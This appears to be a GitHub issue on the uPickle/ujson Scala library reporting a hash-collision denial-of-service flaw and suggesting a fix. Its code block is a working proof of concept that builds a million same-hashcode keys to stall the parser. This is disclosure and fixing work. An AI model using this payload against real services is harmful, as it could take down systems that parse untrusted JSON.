com-lihaoyi / upickle

uPickle: a simple, fast, dependency-free JSON & Binary (MessagePack) serialization library for Scala
https://com-lihaoyi.github.io/upickle
MIT License
707 stars 158 forks source link

DoS vulnerability with ujson #446

Closed lolgab closed 1 year ago

lolgab commented 1 year ago

ujson is vulnerable to a DOS Attack where the attacker tries to read a json object where every key has the same hashcode. This vulnerability originates in the scala LinkedHashMap implementation. As suggested by @plokhotnyuk, a solution would be to use, instead of scala.collection.mutable.LinkedHashMap, a Scala wrapper around java.util.LinkedHashMap.

Click to expand a self-contained reproduction for the issue, copy pasted from the jsoniter-scala benchmark ```scala object Main { def zeroHashCodeStrings: Iterator[String] = { def charAndHash(h: Int): Iterator[(Char, Int)] = ('!' to '~').iterator.map(ch => (ch, (h + ch) * 31)) for { (ch0, h0) <- charAndHash(0) (ch1, h1) <- charAndHash(h0) (ch2, h2) <- charAndHash(h1) if ((h2 + 32) * 923521 ^ (h2 + 127) * 923521) < 0 (ch3, h3) <- charAndHash(h2) if ((h3 + 32) * 29791 ^ (h3 + 127) * 29791) < 0 (ch4, h4) <- charAndHash(h3) if ((h4 + 32) * 961 ^ (h4 + 127) * 961) < 0 (ch5, h5) <- charAndHash(h4) if ((h5 + 32) * 31 ^ (h5 + 127) * 31) < 0 (ch6, h6) <- charAndHash(h5) if (h6 + 32 ^ h6 + 127) < 0 (ch7, _) <- charAndHash(h6) if h6 + ch7 == 0 } yield new String(Array(ch0, ch1, ch2, ch3, ch4, ch5, ch6, ch7)) } val jsonString = zeroHashCodeStrings .map(s => ujson.write(s)) .take(1000000) .mkString("{", s":null,", ":null}") def main(args: Array[String]): Unit = { ujson.read(jsonString) } } ```